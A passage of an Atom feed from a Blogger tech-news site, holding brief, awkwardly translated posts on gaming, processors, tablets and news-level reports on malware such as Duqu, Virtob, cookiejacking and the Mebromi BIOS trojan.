<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4701803441346095986</id><updated>2012-02-10T00:08:20.077+07:00</updated><category term='AntiVirus'/><category term='Anonymouse'/><category term='Internet'/><category term='Download'/><category term='SEO'/><category term='Linux'/><category term='Vacancy'/><category term='Software'/><category term='ASP'/><category term='Ubuntu'/><category term='Hacking Security'/><category term='VB / . Net'/><category term='Tutorial'/><category term='Information'/><category term='Programming'/><category term='Food and Beverages'/><title type='text'>IT Tutorial</title><subtitle type='html'>IT Tutorial</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://tutorial-hemlet.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default?start-index=101&amp;max-results=100'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>103</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7587189511191900570</id><published>2012-02-10T00:03:00.000+07:00</published><updated>2012-02-10T00:03:27.151+07:00</updated><title type='text'>The Best Xbox 360 Game</title><content type='html'>Five of the best games you must play on the Xbox 360. Guaranteed the following games are going to provide for your own experience in playing the game. More fun, and certainly with a more advanced presentation technology, futuristic and exciting storyline, will make you forget the time and loved the Xbox 360.&lt;br /&gt;&lt;br /&gt;Still in doubt? Let me be more clear, here’s five best games for your Xbox 360.&lt;br /&gt;&lt;br /&gt;A. Bioshock&lt;br /&gt;&lt;br /&gt;One of the best games ever for &lt;a href="http://www.thatcoin.com/2012/02/five-of-the-best-xbox-360-games/"&gt;Xbox 360&lt;/a&gt;. BioShock not only great in terms of graphics, great audio, but also in terms of storyline, gameplay is complex and will certainly make you amazed when you play this game on the Xbox 360. If this is arguably the game must be played by your Xbox 360 users!  &lt;a href="http://www.thatcoin.com/2012/02/five-of-the-best-xbox-360-games/"&gt;Keep reading&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2012/02/five-of-the-best-xbox-360-games/"&gt;source&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7587189511191900570?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7587189511191900570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7587189511191900570'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2012/02/best-xbox-360-game.html' title='The Best Xbox 360 Game'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7390647325191464498</id><published>2012-01-30T21:07:00.000+07:00</published><updated>2012-01-30T21:07:39.515+07:00</updated><title type='text'>Beware Virtob Virus</title><content type='html'>&lt;a href="http://www.thatcoin.com/2012/01/beware-virtob-computer-virus/"&gt;Virtob virus&lt;/a&gt; reportedly spread, about 10 million files indicated the virus. And 40 thousand has been exposed to dual infections were detected, one with a display screen Virtob display fake warning:&lt;br /&gt;&lt;br /&gt;XP Security 2012 Version unregistered. Attention: DANGER!. The message is only reasonable Virtob the virus creator. Virtob virus not a virus that stand alone, but helps with other software. BitDefender observe what is done by Virtob. Worm Viruses exploit to spread faster. Virtob Rimecud insert himself into the worm. That spread through file sharing programs such as BearShare, DC and Emule, while other media such as USB and application message sender.&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2012/01/beware-virtob-computer-virus/"&gt;&lt;br /&gt;Keep reading&lt;/a&gt;&lt;br /&gt;&lt;a href="http://adf.ly/4JetE"&gt;&lt;br /&gt;The Kaspersky Virus Removal Tool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7390647325191464498?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7390647325191464498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7390647325191464498'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2012/01/beware-virtob-virus.html' title='Beware Virtob Virus'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4529531517091814943</id><published>2012-01-23T16:28:00.000+07:00</published><updated>2012-01-23T16:28:52.460+07:00</updated><title type='text'>Swiss Army Knife Victorinox 1TB USB Flashdrive</title><content type='html'>What is interesting from Victorinox artificial flashdrive. With little equipment and a 1TB capacity flashdrive. Yup, a terra byte with a nice body, there are indicators of capacity.&lt;br /&gt;&lt;br /&gt;Lifetime Warranty, small shape, priced at $ 3,000.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2012/01/swiss-army-knife-victorinox-1tb-usb-flashdrive/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4529531517091814943?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4529531517091814943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4529531517091814943'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2012/01/swiss-army-knife-victorinox-1tb-usb.html' title='Swiss Army Knife Victorinox 1TB USB Flashdrive'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3002335879634876470</id><published>2012-01-17T17:25:00.000+07:00</published><updated>2012-01-17T17:25:05.223+07:00</updated><title type='text'>Google Tablet Rumors</title><content type='html'>Amazon managed to sell 2 million Kindle Fire, a small tablet cheap 7 inch screen size. Kindle least managed to steal Apple’s iPad market.&lt;br /&gt;Google will release a tablet device like the Kindle Fire with the same screen size 7 inch. Google will issue its own brand tablets in March 2012, cost the same as Fire from Amazon’s Kindle.&lt;br /&gt;From interviewing Google Chairman Eric Schmidt’s by Italian newspapers have mentioned will be the appearance of the product. Eric said, the next 6 months we will enter the tablet market with high quality. Perhaps the question is &lt;a href="http://www.thatcoin.com/2012/01/google-tablet-rumors/"&gt;Google’s Tablet&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/4JeqV"&gt;Radeon HD 7950 News&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3002335879634876470?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3002335879634876470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3002335879634876470'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2012/01/google-tablet-rumors.html' title='Google Tablet Rumors'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6652487582087728094</id><published>2011-12-23T19:22:00.000+07:00</published><updated>2011-12-23T19:22:11.041+07:00</updated><title type='text'>Core i5-2550K</title><content type='html'>ntel plans to release Sandy Bridge processors Core i5-2550K before exiting new processors Ivy Bridge.&lt;br /&gt;Core i5-2550K with 4 cores have BX80623I52550K code version of the box and CM8062301213000 OEM version.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/4JfCp"&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6652487582087728094?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6652487582087728094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6652487582087728094'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/12/core-i5-2550k.html' title='Core i5-2550K'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2059219167894679969</id><published>2011-12-17T13:24:00.001+07:00</published><updated>2011-12-17T13:25:48.598+07:00</updated><title type='text'>Intel Core i7-3960X</title><content type='html'>Intel Core i7-3960X has TurboBoost specifications 3.3Ghz and 3.9Ghz, 15MB L3, require 130W power. Processors &lt;a href="http://www.thatcoin.com/2011/12/processors-intel-core-i7-3960x-specifications/"&gt;Intel Core i7-3960X&lt;/a&gt; with 6 cores are easily in racing over the original speed&lt;br /&gt;&lt;a href="http://adf.ly/45cD1"&gt;&lt;br /&gt;NVidia GPU 28nm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2059219167894679969?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2059219167894679969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2059219167894679969'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/12/intel-core-i7-3960x.html' title='Intel Core i7-3960X'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8294229172994226148</id><published>2011-11-28T16:48:00.000+07:00</published><updated>2011-11-28T16:48:31.688+07:00</updated><title type='text'>Intel Ivy Bridge Processors</title><content type='html'>Ivy Bridge processors with 22nm technology will be out in April 2012. The first model is the Core i5 and Core i7, followed by Core i5 and Core i3 Mobile.&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/11/ivy-bridge-processors/"&gt;Ivy Bridge&lt;/a&gt; was originally planned to come out first quarter next year, but the corresponding weakening of the shopping season will weaken the marketing of IT products Ivy Bridge.&lt;br /&gt;Ivy Bridge has the technological features of DirectX 11 and OpenGL 3.1, already supports PCIe 3.0. Version of the notebook or Mobile Processor Ivy Bridge is mentioned only requires 15W power. Ivy Bridge or the rumored new Sandy Bridge E is said to be compatible with Sandy Bridge chipset, and BIOS upgrades are needed.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/3hsnz"&gt;Sandy Bridge Processor News&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8294229172994226148?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8294229172994226148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8294229172994226148'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/11/intel-ivy-bridge-processors.html' title='Intel Ivy Bridge Processors'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3383389443485471241</id><published>2011-11-20T16:59:00.000+07:00</published><updated>2011-11-20T16:59:47.604+07:00</updated><title type='text'>CrySyS Duqu Detector Toolkit</title><content type='html'>Two weeks ago Researchers at the Laboratory of Cryptography and System Security (CrySyS) in Hungary confirmed the existence of the zero-day vulnerability in the Windows kernel, according to security researchers tracking the Stuxnet-like cyber-surveillance Trojan.&lt;br /&gt;&lt;br /&gt;The Laboratory of Cryptography and System Security (CrySyS) has released an open-source toolkit that can find traces of Duqu infections on computer networks.The open-source toolkit, from the Laboratory of Cryptography and System Security (CrySyS), contains signature- and heuristics-based methods that can find traces of Duqu infections where components of the malware are already removed from the system.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/3hsy1 "&gt;Keep reading CrySyS Duqu Detector Toolkit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/3V4n9 "&gt;Gadhafi Worm Articles&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3383389443485471241?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3383389443485471241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3383389443485471241'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/11/crysys-duqu-detector-toolkit.html' title='CrySyS Duqu Detector Toolkit'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1807786189910423587</id><published>2011-11-12T00:51:00.000+07:00</published><updated>2011-11-12T00:51:09.202+07:00</updated><title type='text'>Duqu Malware Patch</title><content type='html'>Microsoft issued fixes for Windows Fix Kb Duqu 2639658 from malware attacks.&lt;br /&gt;&lt;br /&gt;Malware exploit weaknesses in the Windows system TrueType WIN32K engine. If entered into the computer as there are programs that inadvertently infected Duqu. &lt;a href="http://www.thatcoin.com/2011/11/microsoft-patch-exploit-duqu-malware/"&gt;Duqu Malware&lt;/a&gt; can change the data, create new accounts with full privileges.&lt;br /&gt;&lt;br /&gt;Fix is to turn off support for embedded TTF (font Windows) for Microsoft Office documents, browser and document viewer.&lt;br /&gt;&lt;br /&gt;Microsoft says the attacks are relatively low Duxu for the company. It is better to check the computer with the Fix It tool below&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1807786189910423587?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1807786189910423587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1807786189910423587'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/11/duqu-malware-patch.html' title='Duqu Malware Patch'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5478903972908381721</id><published>2011-10-22T14:20:00.001+07:00</published><updated>2011-10-22T21:39:32.557+07:00</updated><title type='text'>Bluestacks Android Player for Windows 7</title><content type='html'>Bluestacks Android is a software emulator for the PC in Windows 7 OS. Running multiple applications from the Android bundled software such as games of Android on your PC.&lt;br /&gt;&lt;br /&gt;Alpha version of the package has a size of 116MB, there are 10 applications provided on the software.&lt;br /&gt;Play Android apps fast and full-screen&lt;br /&gt;Push your favorite apps from your Android phone to your PC using Cloud Connect BlueStacks&lt;br /&gt;Run 10 pre-loaded apps "out of the box"&lt;br /&gt;Install up to 26 more of your favorite apps&lt;br /&gt;May not work fast on older netbooks and tablets&lt;br /&gt;Available now for Win7, and it's Free&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/10/bluestacks-android-player-for-windows-7/"&gt;Bluestacks Android Player&lt;/a&gt; &lt;br /&gt;&lt;a href="http://adf.ly/3LLry" target="_blank"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5478903972908381721?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5478903972908381721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5478903972908381721'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/10/bluestacks-android-player-for-windows-7.html' title='Bluestacks Android Player for Windows 7'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2059099965810461301</id><published>2011-10-18T00:00:00.002+07:00</published><updated>2011-10-18T00:00:38.099+07:00</updated><title type='text'>Beware Internet Explorer Cookiejacking</title><content type='html'>Computer security researchers found a cookie file that can steal important data from the contents of the computer. Recently discovered in Internet Explorer software.&lt;br /&gt;Cookiejacking could open up important data from Facebook, Twitter and Gmail, or other data from the service on the internet. But Microsoft has not committed when the importance of this attack. A little knowledge about the function of the software cookie file of your browser.&lt;br /&gt;&lt;br /&gt;What is a Cookie. A file containing the small data created by the application or browser software. Cookie files store information from the site and account data sites.&lt;br /&gt;&lt;br /&gt;What is Cookiejacking. A technique to break through and pass through the sieve of the Internet Explorer security. So the attack can take data in IE cookies that should not be read or taken by someone else.&lt;br /&gt;&lt;br /&gt;What are the risks. Cookies are recorded in the file by the browser software as the data is less valuable. But if you go to a site Facebook, Google and Gmail. Your account data is in the Cookie. If the computer has been infected Cookiejacking, then your data could be stolen.&lt;br /&gt;&lt;a href="http://adf.ly/39Pso"&gt;&lt;br /&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2059099965810461301?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2059099965810461301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2059099965810461301'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/10/beware-internet-explorer-cookiejacking.html' title='Beware Internet Explorer Cookiejacking'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-574992132377647069</id><published>2011-10-09T18:32:00.002+07:00</published><updated>2011-10-09T18:32:52.681+07:00</updated><title type='text'>Intel Atom Cedarview</title><content type='html'>Intel sells new processors, Atom Cedarview for Cedar Trail platform.&lt;br /&gt;&lt;br /&gt;Atom D2500 has 2 cores, 1.86GHz and D2700 2 cores with HT, which is made from the base 2.13GHz 32nm. Price processors are sold for $ 42 and $ 52. Cedarview has an internal Intel graphics with features DX 10.1. Capable of displaying HD video or film resolution Blu-ray classmates. The new processors have got the update using DDR3.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/10/intel-atom-cedarview-processors/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-574992132377647069?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/574992132377647069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/574992132377647069'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/10/intel-atom-cedarview.html' title='Intel Atom Cedarview'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7320322069088954187</id><published>2011-09-26T14:07:00.000+07:00</published><updated>2011-09-26T14:07:16.591+07:00</updated><title type='text'>VGA PCIe Gen3 News</title><content type='html'>After MSI issued an opinion that the Gigabyte motherboard does not use the structure for PCIe Gen 3 but to label PCIe Gen 3.&lt;br /&gt;&lt;br /&gt;MSI’s statement said that one of the VGA PCIe slot does not require a switch from the new chip. Will automatically work with x8 x 2, while using PCIe Gen 3 with 2 VGA will use fixed paths using x8. The motherboard is still running for VGA Gigabyte PCIe Gen 3.&lt;br /&gt;&lt;br /&gt;Now Asrock Fake Gen3 existing campaign. And issued a technique called Gigabyte wrong about the PCIe Gen 3&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/newest-features-from-asrock-motherboard/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7320322069088954187?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7320322069088954187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7320322069088954187'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/09/vga-pcie-gen3-news.html' title='VGA PCIe Gen3 News'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6989016001968410016</id><published>2011-09-21T11:32:00.000+07:00</published><updated>2011-09-21T11:32:41.996+07:00</updated><title type='text'>BMW Trojan</title><content type='html'>China 360 antivirus companies discovered a unique virus that attacks the three computer systems, either the BIOS, boot sector and Windows systems. This technique makes it difficult to remove viruses Mebromi BMW, although the hard drive is formatted or replaced.&lt;br /&gt;&lt;br /&gt;BMW stands for BIOS, masterboot and Windows.&lt;br /&gt;&lt;br /&gt;attack techniques&lt;br /&gt;&lt;br /&gt;Get into the BIOS to protect the other viruses that exist on the MBR will be attacked again when removed.&lt;br /&gt;Winlogon.exe infects the MBR on duty in Windows XP/2003 or Winnt.exe for Windows 2000. When you are attacked, the other is tasked to download a rootkit&lt;br /&gt;Characterize the virus Mebromi&lt;br /&gt;&lt;br /&gt;When Windows starts will appear in the “Find it OK!”&lt;br /&gt;Antivirus software will find and remove the message “Hard disk boot sector virus” but it can not be deleted. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/2oeV7"&gt;BMW Trojan Article&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/mebromi-virus-attacking-computer-bmw/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6989016001968410016?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6989016001968410016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6989016001968410016'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/09/bmw-trojan.html' title='BMW Trojan'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8573591529661144267</id><published>2011-09-12T19:22:00.002+07:00</published><updated>2011-09-12T19:22:26.035+07:00</updated><title type='text'>AMD Zambezi Chipset</title><content type='html'>The new AMD released the 90 documents of the Bulldozer processor technology.&lt;br /&gt;&lt;br /&gt;AMD Zambezi chipset can use AMD 990FX, 990X, 970 and SB950 companion chip. Wearing dual channel DDR2 up to DDR3-1866 speed.&lt;br /&gt;Like Intel, AMD has a Turbo Boost. Processor speed will be increased as needed applications.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/amd-bulldozer-details/"&gt;Thatcoin.com &lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8573591529661144267?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8573591529661144267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8573591529661144267'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/09/amd-zambezi-chipset.html' title='AMD Zambezi Chipset'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8970999763694343656</id><published>2011-09-11T16:59:00.003+07:00</published><updated>2011-09-12T19:20:11.150+07:00</updated><title type='text'>IdeaPad A1</title><content type='html'>Lenovo released IdeaPad A1 Tablet product. They cost $ 250, with a 7 inch screen with 16GB storage&lt;br /&gt;&lt;a href="http://adf.ly/2g2Fj"&gt;&lt;br /&gt;Lenovo IdeaPad A1&lt;/a&gt; uses the latest generation of ARM processor with a speed and 1GHz Cortex A8 Android OS 2.3. It has 2 cameras, 1 1Mpix and 3Mpix, 1024×600 screen.&lt;br /&gt;Compared to the Galaxy 7.7, IdeaPad A1 prices are more affordable, the Samsung Galaxy 7.7 is still selling for $ 400.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/09/lenovo-ideapad-a1-review/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8970999763694343656?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 